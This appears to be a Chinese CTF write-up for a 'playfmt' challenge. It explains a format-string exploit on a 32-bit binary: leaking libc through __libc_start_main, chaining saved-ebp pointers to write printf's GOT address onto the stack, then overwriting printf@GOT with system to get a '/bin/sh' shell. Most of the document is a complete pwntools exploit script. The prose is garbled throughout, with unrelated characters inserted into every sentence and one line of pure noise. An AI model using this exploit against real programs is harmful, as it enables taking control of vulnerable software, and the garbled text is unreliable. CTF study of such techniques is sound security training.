格式化字符串漏洞恭取,不過(guò)是有點(diǎn)蛇皮的格式化字符串盹牧,學(xué)到了不少新姿勢(shì)
很明顯的格式化字符串,但同時(shí)也可以發(fā)現(xiàn)沈撞,我們的輸入是寫(xiě)到bss段去的慷荔,那就有一個(gè)問(wèn)題了,我們要怎么利用格式化字符串修改got表為system函數(shù)的地址缠俺,因?yàn)檫@里我們要解決怎么把某個(gè)函數(shù)的got值放到棧里面去
先看一下棧中的情況
可以發(fā)現(xiàn)輸入放在bss段且固定在esp显晶,但是也發(fā)現(xiàn)了幾個(gè)有用的地址ebp1,fmt7,ebp2,fmt11
,他們的格式化字符的偏移分別為6壹士,7磷雇,10,11躏救,我們還發(fā)現(xiàn)了libc_start_main+247
這個(gè)真實(shí)地址唯笙,先泄漏出這個(gè)真實(shí)地址就可以得到偏移,進(jìn)而算出其它函數(shù)的地址
06:0018│ ebp 0xffffcd48 —? 0xffffcd58 —? 0xffffcd68 ?— 0x0
07:001c│ 0xffffcd4c —? 0x8048584 (play+59) ?— nop
、崩掘、七嫌、、呢堰、抄瑟、、枉疼、皮假、、骂维、惹资、、航闺、褪测、、潦刃、侮措、、乖杠、分扎、、胧洒、畏吓、、卫漫、菲饼、、列赎、宏悦、、粥谬、肛根、、漏策、、臼氨、掺喻、、、感耙、褂乍、、即硼、逃片、、只酥、
0a:0028│ 0xffffcd58 —? 0xffffcd68 ?— 0x0
0b:002c│ 0xffffcd5c —? 0x80485b1 (main+42) ?— nop
我們可以看到ebp1是指向ebp2的指針褥实,ebp2指向一個(gè)不知名的地址,這樣我們就可以得到棧的地址裂允,因此损离,如果我們使用%n對(duì)ebp1進(jìn)行操作,那么實(shí)際上會(huì)修改ebp2的內(nèi)容绝编,所以僻澎,如果我們將ebp2修改為指向fmt7,那么就可以對(duì)ebp2進(jìn)行%n操作來(lái)修改fmt7的內(nèi)容十饥,試想窟勃,把fmt7的內(nèi)容修改為printf_got,這樣就實(shí)現(xiàn)了把got值放到棧里面去了逗堵,接下來(lái)就可能通過(guò)偏移來(lái)進(jìn)行修改秉氧,但是又有另一個(gè)問(wèn)題,一次只能修改2個(gè)字節(jié)砸捏,而需要修改的有4 個(gè)字節(jié)谬运,又因?yàn)槲覀儽緛?lái)就是利用 printf 函數(shù)實(shí)現(xiàn)修改的,所以只能一次性修改4個(gè)字節(jié)(如果修改的不是printf函數(shù)垦藏,因?yàn)橛袀€(gè)while循環(huán)梆暖,可以回到再利用printf函數(shù)進(jìn)行第二次修改)。所以我們可以把要修改的高2 個(gè)字節(jié)放到fmt11去掂骏,同時(shí)修改兩個(gè)位置轰驳,這樣就可以了,那么思路就出來(lái)了弟灼。
1级解、先泄漏出libc_start_main的地址,算出偏移
2田绑、利用偏移得到system等函數(shù)的地址
3勤哗、泄漏出棧地址
4、利用ebp1指向ebp2的關(guān)系修改ebp2指向fmt7掩驱,進(jìn)而修改fmt7為printf_got芒划,修改ebp2指向fmt11冬竟,進(jìn)而修改fmt11為printf_got+2
5、修改fmt7和fmt11內(nèi)容為system的地址
6民逼、發(fā)送'/bin/sh'做為system 的參數(shù)執(zhí)行那可
exp:
#-*-coding:utf-8-*-
#libc_start_main+247在偏移15處
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
# /lib/i386-linux-gnu/libc-2.23.so
elf = ELF('./playfmt')
libc = elf.libc
p.recv()
#泄漏 libc_start_main 的地址
p.sendline('%15$p')
libc_start_main = int(p.recv(),16)-247
print 'libc_start_main-->' + hex(libc_start_main)
# libc_start_main 的libc地址
libc_start_main_libc = libc.symbols['__libc_start_main']
print 'libc_start_main_libc-->' + hex(libc_start_main_libc)
offset = libc_start_main - libc_start_main_libc
print 'offset-->' + hex(offset)
system_addr = offset + libc.symbols['system']
print 'system_addr-->' + hex(system_addr)
printf_addr = offset + libc.symbols['printf']
print 'printf_addr-->' + hex(printf_addr)
printf_got = elf.got['printf']
print 'printf_got-->' + hex(printf_got)
# one_gadget = 0x3ac5c + offset
# print 'one_gadget-->' + hex(one_gadget)
# 修改 printf_got 為 system_addr
# 泄漏 ebp
p.sendline('%6$p')
ebp2 = int(p.recv(),16) #10
ebp1 = ebp2-0x10 #6
fmt7 = ebp1+0x4
fmt11 = ebp2+0x4
print 'ebp1-->' + hex(ebp1)
print 'ebp2-->' + hex(ebp2)
print 'fmt7-->' + hex(fmt7)
print 'fmt11-->' + hex(fmt11)
pause()
# 先將 ebp2 指向fmt7
# gdb.attach(p,"b *0x0804853B")
p.sendline('%'+str(fmt7&0xffff)+'c%6$hn')
p.recv()
# 再將 fmt7 修改為print_got
p.sendline('%'+str(printf_got&0xffff)+'c%10$hn')
p.recv()
while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
# 現(xiàn)在要將 fmt11 修改為print_got+2
# 先將 ebp2 指向fmt11
p.sendline('%'+str(fmt11&0xffff)+'c%6$hn')
p.recv()
#再將 fmt11 修改為printf_got+2(即printf_got的高4位現(xiàn)在在printf_got+2的低4位的位置)
p.sendline('%'+str((printf_got+2)&0xffff)+'c%10$hn')
p.recv()
while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
'''
這個(gè)循環(huán)用于保證所有的字節(jié)都被輸出泵殴,因?yàn)閞ecv()一次最多只能接收0x1000
個(gè)字節(jié),所以要進(jìn)行多次recv()才能保證全部字節(jié)都輸出以便進(jìn)行下面的操作
需要注意的是拼苍,要構(gòu)造一個(gè)字符串“n0va”來(lái)作標(biāo)志笑诅,返回的大量字符串中如果
包含了這個(gè)字符串那么說(shuō)明之前構(gòu)造的%n寫(xiě)入已經(jīng)完成
'''
# --------到這里fmt7放著printf_got(即printf_addr),fmt11放著printf_got+2(即printf_addr的高4位移到了低4位的位置)
# 修改printf_got 為sytem_addr (要同時(shí)修改fmt7為print_addr的低4位,fmt11為printf_addr的高4位)
# 修改printf_got 的低4位
payload = '%'+str((system_addr&0xffff)-12)+'c%7$hn' #在調(diào)試時(shí)發(fā)現(xiàn)疮鲫,在'%...c'之前有3個(gè)'n0va'所以要-12才能保證正確定入
# 修改printf_got 的高4位
payload += '%'+str((system_addr>>16)-(system_addr&0xffff))+'c%11$hn'
gdb.attach(p,"b *0x0804853B")
p.sendline(payload)
p.recv()
while True:
p.send("n0va")
sleep(0.1)
data = p.recv()
if data.find("n0va") != -1:
break
p.sendline('/bin/sh')
p.interactive()